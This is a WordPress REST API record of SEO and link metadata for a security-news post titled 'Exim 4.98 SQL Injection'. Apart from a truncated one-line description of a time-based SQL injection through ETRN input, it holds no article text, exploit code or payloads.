class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=29727#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=29727\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"\ud83d\udcc4 Exim 4.98 SQL Injection_PACKETSTORM:212605\",\"datePublished\":\"2025-12-09T12:37:25+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=29727\"},\"wordCount\":2334,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CRITICAL\",\"CVE\",\"CVSS\",\"CVSS-9.8\",\"exploit\",\"news\",\"packetstorm\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=29727#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=29727\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=29727\",\"name\":\"\ud83d\udcc4 Exim 4.98 SQL Injection_PACKETSTORM:212605 - zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2025-12-09T12:37:25+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=29727#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=29727\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=29727#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"\ud83d\udcc4 Exim 4.98 SQL Injection_PACKETSTORM:212605\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"\ud83d\udcc4 Exim 4.98 SQL Injection_PACKETSTORM:212605 - zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=29727","og_locale":"en_US","og_type":"article","og_title":"\ud83d\udcc4 Exim 4.98 SQL Injection_PACKETSTORM:212605 - zero redgem","og_description":"{&#8220;lastseen&#8221;:&#8221;2025-12-09T17:44:52&#8243;,&#8221;description&#8221;:&#8221;A vulnerability exists in Exim version 4.98 when ETRN input is serialized and passed to a SQLite backend. Time\u2011based SQL injection allows attackers to detect...","og_url":"https:\/\/zero.redgem.net\/?p=29727","og_site_name":"zero redgem","article_published_time":"2025-12-09T12:37:25+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"12 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=29727#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=29727"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"\ud83d\udcc4 Exim 4.98 SQL Injection_PACKETSTORM:212605","datePublished":"2025-12-09T12:37:25+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=29727"},"wordCount":2334,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CRITICAL","CVE","CVSS","CVSS-9.8","exploit","news","packetstorm","Security","tapic","Vulnerability"],"articleSection":["category_exploit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=29727#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=29727","url":"https:\/\/zero.redgem.net\/?p=29727","name":"\ud83d\udcc4 Exim 4.98 SQL Injection_PACKETSTORM:212605 - zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2025-12-09T12:37:25+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=29727#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=29727"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=29727#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"\ud83d\udcc4 Exim 4.98 SQL Injection_PACKETSTORM:212605"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/29727","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=29727"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/29727\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=29727"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=29727"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=29727"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}